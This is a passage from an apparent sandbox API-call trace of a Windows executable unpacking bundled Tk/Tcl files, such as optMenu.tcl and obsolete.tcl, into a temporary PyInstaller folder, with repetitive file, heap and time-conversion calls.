lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.752] htonl (hostlong=0x30000000) returned 0x30 [0044.752] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.752] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.752] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.752] GetFileType (hFile=0x10c) returned 0x1 [0044.752] htonl (hostlong=0x78515f00) returned 0x5f5178 [0044.752] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x640178, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.752] htonl (hostlong=0xe3030000) returned 0x3e3 [0044.752] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3e3) returned 0x550600 [0044.752] htonl (hostlong=0xe3030000) returned 0x3e3 [0044.752] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.752] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.753] htonl (hostlong=0xb20e0000) returned 0xeb2 [0044.753] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xeb2) returned 0x562098 [0044.753] htonl (hostlong=0xe3030000) returned 0x3e3 [0044.753] htonl (hostlong=0xb20e0000) returned 0xeb2 [0044.753] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562f58 [0044.753] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562f58 | out: hHeap=0x530000) returned 1 [0044.753] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.753] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.753] CloseHandle (hObject=0x10c) returned 1 [0044.753] GetLastError () returned 0x0 [0044.753] SetLastError (dwErrCode=0x0) [0044.753] GetLastError () returned 0x0 [0044.753] SetLastError (dwErrCode=0x0) [0044.753] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.753] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.753] GetFileType (hFile=0x10c) returned 0x1 [0044.753] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.753] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.753] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.753] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.753] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.753] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.753] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.753] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.753] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.754] CloseHandle (hObject=0x10c) returned 1 [0044.754] GetLastError () returned 0x0 [0044.754] SetLastError (dwErrCode=0x0) [0044.754] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs") returned 53 [0044.754] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.754] GetFileType (hFile=0x10c) returned 0x1 [0044.754] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.754] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.754] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.754] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.754] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.754] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.754] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.754] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.754] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.754] CloseHandle (hObject=0x10c) returned 1 [0044.754] GetLastError () returned 0x0 [0044.754] SetLastError (dwErrCode=0x0) [0044.754] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\sv.msg") returned 60 [0044.754] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\sv.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\sv.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.754] GetLastError () returned 0x2 [0044.754] SetLastError (dwErrCode=0x2) [0044.754] GetLastError () returned 0x2 [0044.754] SetLastError (dwErrCode=0x2) [0044.755] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\sv.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\sv.msg", lpFilePart=0x0) returned 0x3b [0044.755] GetLastError () returned 0x2 [0044.755] SetLastError (dwErrCode=0x2) [0044.755] GetLastError () returned 0x2 [0044.755] SetLastError (dwErrCode=0x2) [0044.755] GetLastError () returned 0x2 [0044.755] SetLastError (dwErrCode=0x2) [0044.755] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\sv.msg") returned 60 [0044.755] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.755] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\sv.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\sv.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.755] GetFileType (hFile=0x10c) returned 0x1 [0044.755] htonl (hostlong=0xb20e0000) returned 0xeb2 [0044.755] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.755] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xeb2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xeb2, lpOverlapped=0x0) returned 1 [0044.756] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.756] CloseHandle (hObject=0x10c) returned 1 [0044.756] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.756] htonl (hostlong=0x30000000) returned 0x30 [0044.756] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.756] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.756] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.757] GetFileType (hFile=0x10c) returned 0x1 [0044.757] htonl (hostlong=0x5b555f00) returned 0x5f555b [0044.757] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x64055b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.757] htonl (hostlong=0x8a060000) returned 0x68a [0044.757] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x68a) returned 0x55e278 [0044.757] htonl (hostlong=0x8a060000) returned 0x68a [0044.757] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.757] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.757] htonl (hostlong=0xda150000) returned 0x15da [0044.757] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x15da) returned 0x562098 [0044.757] htonl (hostlong=0x8a060000) returned 0x68a [0044.757] htonl (hostlong=0xda150000) returned 0x15da [0044.757] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563680 [0044.757] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563680 | out: hHeap=0x530000) returned 1 [0044.757] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.757] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.757] CloseHandle (hObject=0x10c) returned 1 [0044.757] GetLastError () returned 0x0 [0044.757] SetLastError (dwErrCode=0x0) [0044.757] GetLastError () returned 0x0 [0044.757] SetLastError (dwErrCode=0x0) [0044.757] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.757] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.757] GetFileType (hFile=0x10c) returned 0x1 [0044.757] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.758] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.758] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.758] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.758] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.758] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.758] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.758] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.758] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.758] CloseHandle (hObject=0x10c) returned 1 [0044.758] GetLastError () returned 0x0 [0044.758] SetLastError (dwErrCode=0x0) [0044.758] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\obsolete.tcl") returned 61 [0044.758] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\obsolete.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\obsolete.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.758] GetLastError () returned 0x2 [0044.758] SetLastError (dwErrCode=0x2) [0044.758] GetLastError () returned 0x2 [0044.758] SetLastError (dwErrCode=0x2) [0044.758] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\obsolete.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\obsolete.tcl", lpFilePart=0x0) returned 0x3c [0044.758] GetLastError () returned 0x2 [0044.758] SetLastError (dwErrCode=0x2) [0044.758] GetLastError () returned 0x2 [0044.758] SetLastError (dwErrCode=0x2) [0044.758] GetLastError () returned 0x2 [0044.758] SetLastError (dwErrCode=0x2) [0044.758] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\obsolete.tcl") returned 61 [0044.758] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.758] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\obsolete.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\obsolete.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.759] GetFileType (hFile=0x10c) returned 0x1 [0044.759] htonl (hostlong=0xda150000) returned 0x15da [0044.759] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.760] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.760] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x5da, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x5da, lpOverlapped=0x0) returned 1 [0044.760] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.760] CloseHandle (hObject=0x10c) returned 1 [0044.760] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.761] htonl (hostlong=0x30000000) returned 0x30 [0044.761] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.761] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.761] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.761] GetFileType (hFile=0x10c) returned 0x1 [0044.761] htonl (hostlong=0xe55b5f00) returned 0x5f5be5 [0044.761] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x640be5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.761] htonl (hostlong=0x16030000) returned 0x316 [0044.761] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x316) returned 0x550600 [0044.761] htonl (hostlong=0x16030000) returned 0x316 [0044.761] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.761] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.761] htonl (hostlong=0x32060000) returned 0x632 [0044.761] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x632) returned 0x55e278 [0044.761] htonl (hostlong=0x16030000) returned 0x316 [0044.761] htonl (hostlong=0x32060000) returned 0x632 [0044.761] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0044.761] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.761] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.761] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.761] CloseHandle (hObject=0x10c) returned 1 [0044.761] GetLastError () returned 0x0 [0044.761] SetLastError (dwErrCode=0x0) [0044.761] GetLastError () returned 0x0 [0044.761] SetLastError (dwErrCode=0x0) [0044.761] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.762] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.762] GetFileType (hFile=0x10c) returned 0x1 [0044.762] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.762] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.762] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.762] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.762] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.762] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.762] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.762] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.762] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.762] CloseHandle (hObject=0x10c) returned 1 [0044.762] GetLastError () returned 0x0 [0044.762] SetLastError (dwErrCode=0x0) [0044.762] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\optMenu.tcl") returned 60 [0044.762] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\optMenu.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\optmenu.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.762] GetLastError () returned 0x2 [0044.762] SetLastError (dwErrCode=0x2) [0044.762] GetLastError () returned 0x2 [0044.762] SetLastError (dwErrCode=0x2) [0044.762] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\optMenu.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\optMenu.tcl", lpFilePart=0x0) returned 0x3b [0044.762] GetLastError () returned 0x2 [0044.762] SetLastError (dwErrCode=0x2) [0044.762] GetLastError () returned 0x2 [0044.762] SetLastError (dwErrCode=0x2) [0044.762] GetLastError () returned 0x2 [0044.762] SetLastError (dwErrCode=0x2) [0044.763] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\optMenu.tcl") returned 60 [0044.763] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.763] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\optMenu.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\optmenu.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.763] GetFileType (hFile=0x10c) returned 0x1 [0044.763] htonl (hostlong=0x32060000) returned 0x632 [0044.763] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.763] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x632, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x632, lpOverlapped=0x0) returned 1 [0044.764] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.764] CloseHandle (hObject=0x10c) returned 1 [0044.764] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.764] htonl (hostlong=0x30000000) returned 0x30 [0044.764] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.764] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, 